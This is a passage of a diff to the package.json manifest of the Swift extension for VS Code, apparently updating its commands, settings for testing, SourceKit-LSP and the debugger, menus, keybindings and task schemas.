"$(testing-debug-icon)", + "enablement": "false" + }, + { + "command": "swift.runTestWithCoverage", + "title": "Run Test with Coverage", + "category": "Test", + "icon": "$(debug-coverage)", + "enablement": "false" + }, + { + "command": "swift.openDocumentation", + "title": "Open Documentation", + "category": "Swift", + "icon": "$(book)" + }, + { + "command": "swift.generateSourcekitConfiguration", + "title": "Generate SourceKit-LSP Configuration", "category": "Swift" } ], @@ -98,8 +492,8 @@ "swift.path": { "type": "string", "default": "", - "markdownDescription": "The path of the folder containing the Swift executables. The default is to look in **$PATH**.", - "order": 1 + "markdownDescription": "Override the default path of the folder containing the Swift executables. The default is to look in the `PATH` environment variable. This path is also used to search for other executables used by the extension like `sourcekit-lsp` and `lldb`.", + "scope": "machine-overridable" }, "swift.buildArguments": { "type": "array", @@ -107,8 +501,275 @@ "items": { "type": "string" }, - "markdownDescription": "Arguments to pass to `swift build`. Keys and values should be provided as separate entries. If you have created a copy of the build task in `tasks.json` then these build arguments will not be propogated to that task.", - "order": 2 + "markdownDescription": "Additional arguments to pass to `swift build` and `swift test`. Keys and values should be provided as individual entries in the list. If you have created a copy of the build task in `tasks.json` then these build arguments will not be propagated to that task.", + "scope": "machine-overridable" + }, + "swift.scriptSwiftLanguageVersion": { + "type": "string", + "enum": [ + "6", + "5", + "4.2", + "4", + "Ask Every Run" + ], + "enumDescriptions": [ + "Use Swift 6 when running Swift scripts.", + "Use Swift 5 when running Swift scripts.", + "Prompt to select the Swift version each time a script is run." + ], + "markdownDescription": "The default Swift version to use when running Swift scripts.", + "scope": "machine-overridable" + }, + "swift.packageArguments": { + "type": "array", + "default": [], + "items": { + "type": "string" + }, + "markdownDescription": "Additional arguments to pass to swift commands that do package resolution, such as `swift package resolve`, `swift package update`, `swift build` and `swift test`. Keys and values should be provided as individual entries in the list.", + "scope": "machine-overridable" + }, + "swift.sanitizer": { + "type": "string", + "default": "off", + "enum": [ + "off", + "thread", + "address" + ], + "markdownDescription": "Runtime [sanitizer instrumentation](https://www.swift.org/documentation/server/guides/llvm-sanitizers.html).", + "scope": "machine-overridable" + }, + "swift.searchSubfoldersForPackages": { + "type": "boolean", + "default": false, + "markdownDescription": "Search sub-folders of workspace folder for Swift Packages at start up.", + "scope": "machine-overridable" + }, + "swift.ignoreSearchingForPackagesInSubfolders": { + "type": "array", + "items": { + "type": "string" + }, + "default": [ + ".", + ".build", + "Packages", + "out", + "bazel-out", + "bazel-bin" + ], + "markdownDescription": "A list of folders to ignore when searching sub-folders for Swift Packages. The `swift.searchSubfoldersForPackages` must be `true` for this setting to have an effect. Always use forward-slashes in glob expressions regardless of platform. This is combined with VS Code's `files.exclude` setting.", + "scope": "machine-overridable" + }, + "swift.autoGenerateLaunchConfigurations": { + "type": "boolean", + "default": true, + "markdownDescription": "When loading a `Package.swift`, auto-generate `launch.json` configurations for running any executables.", + "scope": "machine-overridable" + }, + "swift.disableAutoResolve": { + "type": "boolean", + "default": false, + "markdownDescription": "Disable automatic running of `swift package resolve` whenever the `Package.swift` or `Package.resolved` files are updated. This will also disable searching for command plugins and the initial test discovery process.", + "scope": "machine-overridable" + }, + "swift.diagnosticsCollection": { + "type": "string", + "default": "keepSourceKit", + "markdownDescription": "Controls how diagnostics from the various providers are merged into the collection of `swift` errors and warnings shown in the Problems pane.", + "enum": [ + "onlySwiftc", + "onlySourceKit", + "keepSwiftc", + "keepSourceKit", + "keepAll" + ], + "enumDescriptions": [ + "Only provide diagnostics from `swiftc`.", + "Only provide diagnostics from `SourceKit`.", + "When merging diagnostics, give precedence to diagnostics from `swiftc`.", + "When merging diagnostics, give precedence to diagnostics from `SourceKit`.", + "Keep diagnostics from all providers." + ], + "scope": "machine-overridable" + }, + "swift.diagnosticsStyle": { + "type": "string", + "default": "default", + "markdownDescription": "The formatting style used when printing diagnostics in the Problems panel. Corresponds to the `-diagnostic-style` option to pass to `swiftc` when running `swift` tasks.", + "enum": [ + "default", + "llvm", + "swift" + ], + "markdownEnumDescriptions": [ + "Use whichever diagnostics style `swiftc` produces by default.", + "Use the `llvm` diagnostic style. This allows the parsing of \"notes\".", + "Use the `swift` diagnostic style. This means that \"notes\" will not be parsed. This option has no effect in Swift versions prior to 5.10." + ], + "scope": "machine-overridable" + }, + "swift.backgroundCompilation": { + "type": [ + "boolean", + "object" + ], + "default": false, + "markdownDescription": "Run `swift build` in the background whenever a file is saved. Setting to `true` enables, or you can use `object` notation for more fine grained control. It is possible the background compilation will already be running when you attempt a compile yourself, so this is disabled by default.", + "properties": { + "enabled": { + "type": "boolean", + "default": true, + "description": "Enable/disable background compilation." + }, + "useDefaultTask": { + "type": "boolean", + "default": true, + "markdownDescription": "Use the default build task configured using the `Tasks: Configure Default Build Task` command when executing the background compilation. `#enabled#` property must be `true`." + }, + "release": { + "type": "boolean", + "default": false, + "markdownDescription": "Use the `release` variant of the `Build All` task when executing the background compilation. `#enabled#` property must be `true`. This is ignored if the `#useDefaultTask#` property is true." + } + } + }, + "swift.actionAfterBuildError": { + "type": "string", + "default": "Focus Terminal", + "enum": [ + "Focus Problems", + "Focus Terminal", + "Do Nothing" + ], + "enumDescriptions": [ + "Focus on Problems View", + "Focus on Build Task Terminal" + ], + "markdownDescription": "Action after a Build task generates errors.", + "scope": "application" + }, + "swift.buildPath": { + "type": "string", + "default": "", + "markdownDescription": "The path to a directory that will be used for build artifacts. This path will be added to all swift package manager commands that are executed by vscode-swift extension via `--scratch-path` option. When no value provided - nothing gets passed to swift package manager and it will use its default value of `.build` folder in the workspace.\n\nYou can use absolute path for directory or the relative path, which will use the workspace path as a base. Note that VS Code does not respect tildes (`~`) in paths which represents user home folder under *nix systems.", + "scope": "machine-overridable" + }, + "swift.disableSwiftPackageManagerIntegration": { + "type": "boolean", + "default": false, + "markdownDescription": "Disables automated Build Tasks, Package Dependency view, Launch configuration generation and TestExplorer.", + "scope": "machine-overridable" + }, + "swift.warnAboutSymlinkCreation": { + "type": "boolean", + "default": true, + "markdownDescription": "Controls whether or not the extension will warn about being unable to create symlinks. (Windows only)", + "scope": "application" + }, + "swift.enableTerminalEnvironment": { + "type": "boolean", + "default": true, + "markdownDescription": "Controls whether or not the extension will contribute environment variables defined in `Swift: Environment Variables` to the integrated terminal. If this is set to `true` and a custom `Swift: Path` is also set then the swift path is appended to the terminal's `PATH`.", + "scope": "application" + }, + "swift.pluginArguments": { + "default": [], + "markdownDescription": "Configure a list of arguments to pass to command invocations. This can either be an array of arguments, which will apply to all command invocations, or an object with command names as the key where the value is an array of arguments.", + "scope": "machine-overridable", + "oneOf": [ + { + "type": "array", + "items": { + "type": "string" + } + }, + { + "type": "object", + "patternProperties": { + "^([a-zA-Z0-9_-]+(:[a-zA-Z0-9_-]+)?)$": { + "type": "array", + "items": { + "type": "string" + } + } + } + } + ] + }, + "swift.pluginPermissions": { + "type": "object", + "default": {}, + "markdownDescription": "Configures a list of permissions to be used when running a command plugins.\n\nPermissions objects are defined in the form:\n\n`{ \"PluginName:command\": { \"allowWritingToPackageDirectory\": true } }`.\n\nA key of `PluginName:command` will set permissions for a specific command. A key of `PluginName` will set permissions for all commands in the plugin.", + "scope": "machine-overridable", + "patternProperties": { + "^([a-zA-Z0-9_-]+(:[a-zA-Z0-9_-]+)?)$": { + "type": "object", + "properties": { + "disableSandbox": { + "type": "boolean", + "description": "Disable using the sandbox when executing plugins" + }, + "allowWritingToPackageDirectory": { + "type": "boolean", + "description": "Allow the plugin to write to the package directory" + }, + "allowWritingToDirectory": { + "oneOf": [ + { + "type": "string", + "description": "Allow the plugin to write to an additional directory" + }, + { + "type": "array", + "items": { + "type": "string" + }, + "description": "Allow the plugin to write to additional directories" + } + ] + }, + "allowNetworkConnections": { + "type": "string", + "description": "Allow the plugin to make network connections" + } + } + } + } + }, + "swift.attachmentsPath": { + "type": "string", + "default": ".build/attachments", + "markdownDescription": "The path to a directory that will be used to store attachments produced during a test run.\n\nA relative path resolves relative to the root directory of the workspace running the test(s)", + "scope": "machine-overridable" + }, + "swift.outputChannelLogLevel": { + "type": "string", + "default": "info", + "markdownDescription": "The log level of the Swift output channel. This has no effect on the verbosity of messages written to the extension's log file.", + "enum": [ + "debug", + "info", + "warn", + "error" + ], + "scope": "machine-overridable" + } + } + }, + { + "title": "Testing", + "properties": { + "swift.additionalTestArguments": { + "type": "array", + "default": [], + "items": { + "type": "string" + }, + "markdownDescription": "Additional arguments to pass to the `swift test` or `swift build` commands used when building and running tests from within VS Code.", + "scope": "machine-overridable" }, "swift.testEnvironmentVariables": { "type": "object", @@ -118,80 +779,303 @@ } }, "default": {}, - "markdownDescription": "Environment variables to set when running tests. To set environment variables when debugging an application you should edit the relevant `launch.json` configuration", - "order": 3 + "markdownDescription": "Environment variables to set when running tests. To set environment variables when debugging an application you should edit the `env` field in the relevant `launch.json` configuration.", + "scope": "machine-overridable" }, - "swift.autoGenerateLaunchConfigurations": { - "type": "boolean", + "swift.excludeFromCodeCoverage": { + "description": "A list of paths to exclude from code coverage reports. Paths can be absolute or relative to the workspace root.", + "type": "array", + "items": { + "type": "string" + }, + "default": [], + "scope": "machine-overridable" + }, + "swift.showTestCodeLenses": { + "type": [ + "boolean", + "array" + ], "default": true, - "markdownDescription": "When loading a `Package.swift`, auto-generate `launch.json` configurations for running any executables.", - "order": 4 + "markdownDescription": "Controls whether or not to show inline code lenses for running and debugging tests inline, above test and suite declarations. If set to an array, specify one or more of the following: 'run', 'debug', 'coverage'.", + "scope": "application", + "items": { + "type": "string", + "enum": [ + "run", + "debug", + "coverage" + ] + } }, - "swift.problemMatchCompileErrors": { + "swift.recordTestDuration": { "type": "boolean", "default": true, - "description": "List compile errors in the Problems View.", - "order": 5 - }, + "markdownDescription": "Controls whether or not to record the duration of tests in the Test Explorer. This is used to show the duration of tests in the Test Explorer view. If you're experiencing performance issues when running a large number of tests that complete quickly, disabling this setting can make the UI more responsive.", + "scope": "machine-overridable" + } + } + }, + { + "title": "User Interface", + "properties": { "swift.excludePathsFromPackageDependencies": { - "description": "A list of paths to exclude from the Package Dependencies view.", + "markdownDescription": "A list of glob patterns to exclude from the Package Dependencies view. Always use forward-slashes in glob expressions regardless of platform. This is combined with VS Code's default `files.exclude` setting.", "type": "array", "items": { "type": "string" }, "default": [ - ".git", - ".github" + "**/.git", + "**/.github" ], - "order": 6 + "scope": "machine-overridable" }, - "swift.backgroundCompilation": { + "swift.showBuildStatus": { + "type": "string", + "default": "swiftStatus", + "markdownDescription": "Controls where to show the Swift build progress when running a `swift` build task.", + "enum": [ + "never", + "swiftStatus", + "progress", + "notification" + ], + "enumDescriptions": [ + "Never show the Swift build status.", + "Show the Swift build status in a status bar item provided by the Swift extension.", + "Show the Swift build status in the \"Progress Message\" status bar item provided by VS Code.", + "Show the Swift build status as a progress notification." + ], + "scope": "application" + }, + "swift.createTasksForLibraryProducts": { "type": "boolean", "default": false, - "markdownDescription": "**Experimental**: Run `swift build` in the background whenever a file is saved.", - "order": 7 + "markdownDescription": "When enabled, the extension will create \"swift\" build tasks for library products in the package manifest. Note that automatic library products will not be included.", + "scope": "machine-overridable" }, - "swift.buildPath": { + "swift.showCreateSwiftProjectInWelcomePage": { + "type": "boolean", + "default": true, + "markdownDescription": "Controls whether or not the create new swift project button appears in the welcome page.", + "scope": "application" + }, + "swift.openAfterCreateNewProject": { "type": "string", - "default": "", - "markdownDescription": "Path to the build directory passed to all swift package manager commands.", - "order": 8 + "enum": [ + "always", + "alwaysNewWindow", + "whenNoFolderOpen", + "prompt" + ], + "enumDescriptions": [ + "Always open in current window.", + "Always open in a new window.", + "Only open in current window when no folder is opened.", + "Always prompt for action." + ], + "default": "prompt", + "markdownDescription": "Controls whether to open a swift project automatically after creating it.", + "scope": "application" + }, + "swift.lspConfigurationBranch": { + "type": "string", + "markdownDescription": "Set the branch to use when setting the `$schema` property of the SourceKit-LSP configuration. For example: \"release/6.1\" or \"main\". When this setting is unset, the extension will determine the branch based on the version of the toolchain that is in use." + }, + "swift.checkLspConfigurationSchema": { + "type": "boolean", + "default": true, + "markdownDescription": "When opening a .sourckit-lsp/config.json configuration file, whether or not to check if the $schema matches the version of Swift you are using.", + "scope": "machine-overridable" } } }, { - "title": "Sourcekit-LSP", + "title": "SourceKit-LSP", "properties": { - "sourcekit-lsp.serverPath": { + "swift.sourcekit-lsp.serverPath": { "type": "string", "markdownDescription": "The path of the `sourcekit-lsp` executable. The default is to look in the path where `swift` is found.", + "markdownDeprecationMessage": "**Deprecated**: The sourcekit-lsp executable relies on outputs from tools in your current toolchain. If your sourcekit-lsp version does not match your toolchain you may experience unexpected behaviour. Only modify this setting when developing sourcekit-lsp.", "order": 1 }, - "sourcekit-lsp.serverArguments": { + "swift.sourcekit-lsp.serverArguments": { "type": "array", "default": [], "items": { "type": "string" }, - "description": "Arguments to pass to Sourcekit-LSP. Argument keys and values should be provided as separate entries in the array e.g. ['--log-level', 'debug']", + "markdownDescription": "Arguments to pass to SourceKit-LSP. Keys and values should be provided as individual entries in the list. e.g. `--experimental-feature=show-macro-expansions`", "order": 2 }, + "swift.sourcekit-lsp.supported-languages": { + "type": "array", + "default": [ + "swift", + "objective-c", + "objective-cpp", + "c", + "cpp" + ], + "markdownDescription": "List of languages supported by SourceKit-LSP. This is used to determine whether SourceKit-LSP should provide language features for a particular file type. If you want a different extension to provide support for a language, remove it from the list.", + "items": { + "type": "string", + "enum": [ + "swift", + "objective-c", + "objective-cpp", + "c", + "cpp" + ] + }, + "order": 3, + "scope": "machine-overridable" + }, + "swift.sourcekit-lsp.backgroundIndexing": { + "type": "string", + "enum": [ + "on", + "off", + "auto" + ], + "default": "auto", + "markdownDescription": "Turns background indexing `on` or `off`. `auto` will enable background indexing if the Swift version is >= 6.1. This option has no effect in Swift versions prior to 6.0.", + "order": 4, + "scope": "machine-overridable" + }, + "swift.sourcekit-lsp.trace.server": { + "type": "string", + "default": "off", + "enum": [ + "off", + "messages", + "verbose" + ], + "markdownDescription": "Controls logging the communication between VS Code and the SourceKit-LSP language server. Logs can be viewed in Output > SourceKit Language Server.", + "order": 5, + "scope": "machine-overridable" + }, + "swift.sourcekit-lsp.disable": { + "type": "boolean", + "default": false, + "markdownDescription": "Disable SourceKit-LSP. This will turn off features like code completion, error diagnostics and jump-to-definition. Features like swift-testing test discovery will not work correctly.", + "order": 6, + "scope": "machine-overridable" + }, "sourcekit-lsp.inlayHints.enabled": { "type": "boolean", "default": true, - "description": "Render inlay type annotations in the editor. Inlay hints require Swift 5.6.", - "markdownDeprecationMessage": "**Deprecated**: Please use `#editor.inlayHints.enabled#` instead.", - "order": 3 + "markdownDescription": "Display Inlay Hints. Inlay Hints are variable annotations indicating their inferred type. They are only available if you are using Swift 5.6 or later.", + "markdownDeprecationMessage": "**Deprecated**: Please use `#editor.inlayHints.enabled#` instead." + }, + "sourcekit-lsp.support-c-cpp": { + "type": "string", + "default": "cpptools-inactive", + "enum": [ + "enable", + "disable", + "cpptools-inactive" + ], + "enumDescriptions": [ + "Always enable", + "Always disable", + "Disable when C/C++ extension is active" + ], + "markdownDescription": "Add LSP functionality for C/C++ files. By default this is set to disable when the C/C++ extension is active.", + "markdownDeprecationMessage": "**Deprecated**: Please use `#swift.sourcekit-lsp.supported-languages#` instead." + }, + "sourcekit-lsp.serverPath": { + "type": "string", + "markdownDescription": "The path of the `sourcekit-lsp` executable. The default is to look in the path where `swift` is found.", + "markdownDeprecationMessage": "**Deprecated**: Please use `#swift.sourcekit-lsp.serverPath#` instead." + }, + "sourcekit-lsp.serverArguments": { + "type": "array", + "default": [], + "items": { + "type": "string" + }, + "markdownDescription": "Arguments to pass to SourceKit-LSP. Keys and values should be provided as individual entries in the list. e.g. `--experimental-feature=show-macro-expansions`", + "markdownDeprecationMessage": "**Deprecated**: Please use `#swift.sourcekit-lsp.serverArguments#` instead." + }, + "sourcekit-lsp.trace.server": { + "type": "string", + "default": "off", + "enum": [ + "off", + "messages", + "verbose" + ], + "markdownDescription": "Traces the communication between VS Code and the SourceKit-LSP language server.", + "markdownDeprecationMessage": "**Deprecated**: Please use `#swift.sourcekit-lsp.trace.server#` instead." + }, + "sourcekit-lsp.disable": { + "type": "boolean", + "default": false, + "markdownDescription": "Disable the running of SourceKit-LSP.", + "markdownDeprecationMessage": "**Deprecated**: Please use `#swift.sourcekit-lsp.disable#` instead." + }, + "swift.excludePathsFromActivation": { + "type": "object", + "additionalProperties": { + "type": "boolean" + }, + "markdownDescription": "Configure glob patterns for excluding Swift package folders from getting activated. This will take precedence over the glob patterns provided to `files.exclude`." + } + } + }, + { + "title": "Debugger", + "properties": { + "swift.debugger.debugAdapter": { + "type": "string", + "default": "auto", + "enum": [ + "auto", + "lldb-dap", + "CodeLLDB" + ], + "enumDescriptions": [ + "Automatically select which debug adapter to use based on your Swift toolchain version.", + "Use the `lldb-dap` executable from the toolchain. Requires Swift 6 or later.", + "Use the CodeLLDB extension's debug adapter." + ], + "markdownDescription": "Select which debug adapter to use to debug Swift executables.", + "order": 1, + "scope": "machine-overridable" }, - "sourcekit-lsp.trace.server": { + "swift.debugger.path": { "type": "string", - "default": "off", + "default": "", + "markdownDescription": "Path to lldb debug adapter.", + "order": 2, + "scope": "machine-overridable" + }, + "swift.debugger.setupCodeLLDB": { + "type": "string", + "default": "prompt", "enum": [ - "off", - "messages", - "verbose" + "prompt", + "alwaysUpdateGlobal", + "alwaysUpdateWorkspace", + "never" ], - "description": "Traces the communication between VS Code and the SourceKit-LSP language server.", + "enumDescriptions": [ + "Prompt to update CodeLLDB settings when they are incorrect.", + "Always automatically update CodeLLDB settings globally when they are incorrect.", + "Always automatically update CodeLLDB settings in the workspace when they are incorrect.", + "Never automatically update CodeLLDB settings when they are incorrect." + ], + "markdownDescription": "Choose how CodeLLDB settings are updated when debugging Swift executables.", + "order": 3, + "scope": "machine-overridable" + }, + "swift.debugger.useDebugAdapterFromToolchain": { + "type": "boolean", + "default": false, + "markdownDeprecationMessage": "**Deprecated**: Use the `swift.debugger.debugAdapter` setting instead. This will be removed in future versions of the Swift extension.", + "markdownDescription": "Use the LLDB debug adapter packaged with the Swift toolchain as your debug adapter. Note: this is only available starting with Swift 6. The CodeLLDB extension will be used if your Swift toolchain does not contain lldb-dap.", "order": 4 } } @@ -207,32 +1091,160 @@ } }, "default": {}, - "markdownDescription": "Additional environment variables to pass to swift operations.", - "order": 1 + "markdownDescription": "Additional environment variables to pass to swift operations (`swift build`, `swift resolve`, etc...).", + "order": 1, + "scope": "machine-overridable" }, "swift.runtimePath": { "type": "string", "default": "", - "description": "The path of the folder containing the Swift runtime libraries. Only effective when they can't be discovered by RPath.", - "order": 2 + "markdownDescription": "The path of the folder containing the Swift runtime libraries. This is of use when supporting non-standard SDK layouts on Windows. On Windows the runtime path is added to the `Path` environment variable. This is of less use on macOS and Linux but will be added to `DYLD_LIBRARY_PATH` and `LD_LIBRARY_PATH` environment variables respectively on each platform. ", + "order": 2, + "scope": "machine-overridable" }, "swift.SDK": { "type": "string", "default": "", - "description": "The path of the SDK to compile against (`--sdk` parameter). The default SDK is determined by the environment on macOS and Windows.", - "order": 3 + "markdownDescription": "The path of the SDK to compile against (`--sdk` parameter). This is of use when supporting non-standard SDK layouts on Windows and using custom SDKs. The default SDK is determined by the environment on macOS and Windows.\n\nFor SwiftPM projects, prefer using `swift.swiftSDK` with a triple (such as `arm64-apple-ios`) or Swift SDK name instead.", + "order": 3, + "scope": "machine-overridable" + }, + "swift.swiftSDK": { + "type": "string", + "default": "", + "markdownDescription": "The [Swift SDK](https://github.com/swiftlang/swift-evolution/blob/main/proposals/0387-cross-compilation-destinations.md) to compile against (`--swift-sdk` parameter).", + "scope": "machine-overridable" + }, + "swift.disableSandox": { + "type": "boolean", + "default": false, + "markdownDescription": "Disable sandboxing when running SwiftPM commands. In most cases you should keep the sandbox enabled and leave this setting set to `false`", + "order": 4, + "scope": "machine-overridable" }, "swift.diagnostics": { "type": "boolean", "default": false, - "description": "Output additional diagnostics to the Swift Output View.", - "order": 100 + "markdownDescription": "Output additional diagnostics to the Swift output channel.", + "deprecationMessage": "**Deprecated**: Please use `#swift.outputChannelLogLevel#` instead.", + "order": 100, + "scope": "machine-overridable" } } } ], + "keybindings": [ + { + "command": "swift.newFile", + "key": "Alt+S Alt+N" + }, + { + "command": "swift.insertFunctionComment", + "key": "Alt+Ctrl+/", + "mac": "Alt+Cmd+/", + "when": "editorTextFocus" + } + ], "menus": { + "testing/item/gutter": [ + { + "command": "swift.runTestsMultipleTimes", + "group": "testExtras", + "when": "testId in swift.tests" + }, + { + "command": "swift.runTestsUntilFailure", + "group": "testExtras", + "when": "testId in swift.tests" + }, + { + "command": "swift.debugTestsMultipleTimes", + "group": "testExtras", + "when": "testId in swift.tests" + }, + { + "command": "swift.debugTestsUntilFailure", + "group": "testExtras", + "when": "testId in swift.tests" + } + ], + "testing/item/context": [ + { + "command": "swift.runTestsMultipleTimes", + "group": "testExtras", + "when": "testId in swift.tests" + }, + { + "command": "swift.runTestsUntilFailure", + "group": "testExtras", + "when": "testId in swift.tests" + }, + { + "command": "swift.debugTestsMultipleTimes", + "group": "testExtras", + "when": "testId in swift.tests" + }, + { + "command": "swift.debugTestsUntilFailure", + "group": "testExtras", + "when": "testId in swift.tests" + } + ], + "file/newFile": [ + { + "command": "swift.newFile", + "group": "file", + "when": "swift.isActivated" + } + ], + "explorer/context": [ + { + "command": "swift.newFile", + "group": "swift", + "when": "swift.isActivated" + } + ], "commandPalette": [ + { + "command": "swift.runTestsMultipleTimes", + "group": "testExtras", + "when": "false" + }, + { + "command": "swift.runTestsUntilFailure", + "group": "testExtras", + "when": "false" + }, + { + "command": "swift.debugTestsMultipleTimes", + "group": "testExtras", + "when": "false" + }, + { + "command": "swift.debugTestsUntilFailure", + "group": "testExtras", + "when": "false" + }, + { + "command": "swift.generateLaunchConfigurations", + "when": "swift.hasExecutableProduct" + }, + { + "command": "swift.previewDocumentation", + "when": "swift.supportsDocumentationLivePreview" + }, + { + "command": "swift.installSwiftlyToolchain", + "when": "swift.supportsSwiftlyInstall" + }, + { + "command": "swift.installSwiftlySnapshotToolchain", + "when": "swift.supportsSwiftlyInstall" + }, + { + "command": "swift.createNewProject", + "when": "!swift.isActivated || swift.createNewProjectAvailable" + }, { "command": "swift.updateDependencies", "when": "swift.hasPackage" @@ -245,14 +1257,34 @@ "command": "swift.cleanBuild", "when": "swift.hasPackage" }, + { + "command": "swift.switchPlatform", + "when": "swift.switchPlatformAvailable" + }, + { + "command": "swift.insertFunctionComment", + "when": "swift.isActivated" + }, { "command": "swift.resetPackage", "when": "swift.hasPackage" }, + { + "command": "swift.restartLSPServer", + "when": "swift.isActivated" + }, { "command": "swift.openPackage", "when": "swift.hasPackage" }, + { + "command": "swift.flatDependenciesList", + "when": "false" + }, + { + "command": "swift.nestedDependenciesList", + "when": "false" + }, { "command": "swift.useLocalDependency", "when": "false" @@ -272,59 +1304,242 @@ { "command": "swift.openExternal", "when": "false" + }, + { + "command": "swift.run", + "when": "editorLangId == swift && swift.currentTargetType == 'executable'" + }, + { + "command": "swift.debug", + "when": "editorLangId == swift && swift.currentTargetType == 'executable'" + }, + { + "command": "swift.runScript", + "when": "!swift.fileIsSnippet && editorLangId == swift && swift.currentTargetType == 'none'" + }, + { + "command": "swift.runSnippet", + "when": "swift.fileIsSnippet" + }, + { + "command": "swift.debugSnippet", + "when": "swift.fileIsSnippet" + }, + { + "command": "swift.runPluginTask", + "when": "swift.packageHasPlugins" + }, + { + "command": "swift.attachDebugger", + "when": "swift.lldbVSCodeAvailable" + }, + { + "command": "swift.reindexProject", + "when": "swift.supportsReindexing" + }, + { + "command": "swift.pickProcess", + "when": "false" + }, + { + "command": "swift.runAllTestsParallel", + "when": "swift.isActivated" + }, + { + "command": "swift.runAllTests", + "when": "swift.isActivated" + }, + { + "command": "swift.debugAllTests", + "when": "swift.isActivated" + }, + { + "command": "swift.coverAllTests", + "when": "swift.isActivated" + }, + { + "command": "swift.runTest", + "when": "false" + }, + { + "command": "swift.debugTest", + "when": "false" + }, + { + "command": "swift.runTestWithCoverage", + "when": "false" + }, + { + "command": "swift.openEducationalNote", + "when": "false" + } + ], + "editor/context": [ + { + "submenu": "swift.editor" + } + ], + "editor/title": [ + { + "command": "swift.previewDocumentation", + "when": "swift.supportsDocumentationLivePreview && (editorLangId == markdown || editorLangId == tutorial || editorLangId == swift)", + "group": "navigation" + } + ], + "editor/title/run": [ + { + "command": "swift.run", + "group": "navigation@0", + "when": "resourceLangId == swift && swift.currentTargetType == 'executable'" + }, + { + "command": "swift.debug", + "group": "navigation@0", + "when": "resourceLangId == swift && swift.currentTargetType == 'executable'" + } + ], + "swift.editor": [ + { + "command": "swift.run", + "group": "1_file@1", + "when": "editorLangId == swift && swift.currentTargetType == 'executable'" + }, + { + "command": "swift.debug", + "group": "1_file@2", + "when": "editorLangId == swift && swift.currentTargetType == 'executable'" + }, + { + "command": "swift.runScript", + "group": "1_file@3", + "when": "!swift.fileIsSnippet && editorLangId == swift && swift.currentTargetType == 'none'" + }, + { + "command": "swift.runSnippet", + "group": "1_file@4", + "when": "swift.fileIsSnippet" + }, + { + "command": "swift.debugSnippet", + "group": "1_file@5", + "when": "swift.fileIsSnippet" + }, + { + "command": "swift.cleanBuild", + "group": "2_pkg@1", + "when": "swift.hasPackage" } ], "view/title": [ { "command": "swift.updateDependencies", - "when": "view == packageDependencies", - "group": "navigation" + "when": "view == projectPanel", + "group": "navigation@1" }, { "command": "swift.resolveDependencies", - "when": "view == packageDependencies", - "group": "navigation" + "when": "view == projectPanel", + "group": "navigation@2" }, { "command": "swift.resetPackage", - "when": "view == packageDependencies", - "group": "navigation" + "when": "view == projectPanel", + "group": "navigation@3" + }, + { + "command": "swift.flatDependenciesList", + "when": "view == projectPanel && !swift.flatDependenciesList", + "group": "navigation@4" + }, + { + "command": "swift.nestedDependenciesList", + "when": "view == projectPanel && swift.flatDependenciesList", + "group": "navigation@5" + }, + { + "command": "swift.openDocumentation", + "when": "view == projectPanel", + "group": "navigation@6" } ], "view/item/context": [ { "command": "swift.useLocalDependency", - "when": "view == packageDependencies && viewItem == remote" + "when": "view == projectPanel && viewItem == remote" }, { "command": "swift.uneditDependency", - "when": "view == packageDependencies && viewItem == editing" + "when": "view == projectPanel && viewItem == editing" }, { "command": "swift.openInWorkspace", - "when": "view == packageDependencies && viewItem == editing" + "when": "view == projectPanel && viewItem == editing" }, { "command": "swift.openInWorkspace", - "when": "view == packageDependencies && viewItem == local" + "when": "view == projectPanel && viewItem == local" }, { "command": "swift.openExternal", - "when": "view == packageDependencies && viewItem == remote" + "when": "view == projectPanel && (viewItem == 'editing' || viewItem == 'remote')" + }, + { + "command": "swift.run", + "when": "view == projectPanel && viewItem == 'runnable'", + "group": "inline@0" + }, + { + "command": "swift.debug", + "when": "view == projectPanel && viewItem == 'runnable'", + "group": "inline@1" + }, + { + "command": "swift.runSnippet", + "when": "view == projectPanel && viewItem == 'snippet_runnable'", + "group": "inline@0" + }, + { + "command": "swift.debugSnippet", + "when": "view == projectPanel && viewItem == 'snippet_runnable'", + "group": "inline@1" + }, + { + "command": "swift.runAllTests", + "when": "view == projectPanel && viewItem == 'test_runnable'", + "group": "inline@0" + }, + { + "command": "swift.debugAllTests", + "when": "view == projectPanel && viewItem == 'test_runnable'", + "group": "inline@1" + }, + { + "command": "swift.runAllTestsParallel", + "when": "view == projectPanel && viewItem == 'test_runnable'", + "group": "inline@2" + }, + { + "command": "swift.coverAllTests", + "when": "view == projectPanel && viewItem == 'test_runnable'", + "group": "inline@3" } ] }, + "submenus": [ + { + "id": "swift.editor", + "label": "Swift" + } + ], "problemMatchers": [ { "name": "swiftc", "owner": "swift", "source": "swiftc", - "fileLocation": [ - "absolute" - ], + "fileLocation": "absolute", "pattern": [ { - "regexp": "^(.*):(\\d+):(\\d+):\\s+(warning|error|note):\\s+(.*)$", + "regexp": "^(.*?):(\\d+)(?::(\\d+))?:\\s+(warning|error|note):\\s+(.*)$", "file": 1, "line": 2, "column": 3, @@ -345,9 +1560,118 @@ "type": "string" } }, + "env": { + "type": "object", + "patternProperties": { + ".*": { + "type": "string" + } + }, + "description": "Additional environment variables to set when running the task.", + "default": {} + }, "cwd": { "description": "The folder to run the task in.", "type": "string" + }, + "disableTaskQueue": { + "description": "Disable any queued tasks while running the task. This includes the auto resolve when Packages.resolved is updated.", + "type": "boolean" + }, + "dontTriggerTestDiscovery": { + "description": "Don't trigger the test discovery process.", + "type": "boolean" + }, + "showBuildStatus": { + "description": "Where to show the Swift build progress when running a `swift` build task. Default comes from the `swift.showBuildStatus` setting.", + "type": "string", + "enum": [ + "never", + "swiftStatus", + "progress", + "notification" + ] + }, + "macos": { + "type": "object", + "description": "macOS specific task configuration", + "properties": { + "args": { + "description": "An array of arguments for the command. Each argument will be quoted separately.", + "type": "array", + "items": { + "type": "string" + } + }, + "env": { + "type": "object", + "patternProperties": { + ".*": { + "type": "string" + } + }, + "description": "Additional environment variables to set when running the task.", + "default": {} + }, + "cwd": { + "description": "The folder to run the task in.", + "type": "string" + } + } + }, + "linux": { + "type": "object", + "description": "Linux specific task configuration", + "properties": { + "args": { + "description": "An array of arguments for the command. Each argument will be quoted separately.", + "type": "array", + "items": { + "type": "string" + } + }, + "env": { + "type": "object", + "patternProperties": { + ".*": { + "type": "string" + } + }, + "description": "Additional environment variables to set when running the task.", + "default": {} + }, + "cwd": { + "description": "The folder to run the task in.", + "type": "string" + } + } + }, + "windows": { + "type": "object", + "description": "Windows specific task configuration", + "properties": { + "args": { + "description": "An array of arguments for the command. Each argument will be quoted separately.", + "type": "array", + "items": { + "type": "string" + } + }, + "env": { + "type": "object", + "patternProperties": { + ".*": { + "type": "string" + } + }, + "description": "Additional environment 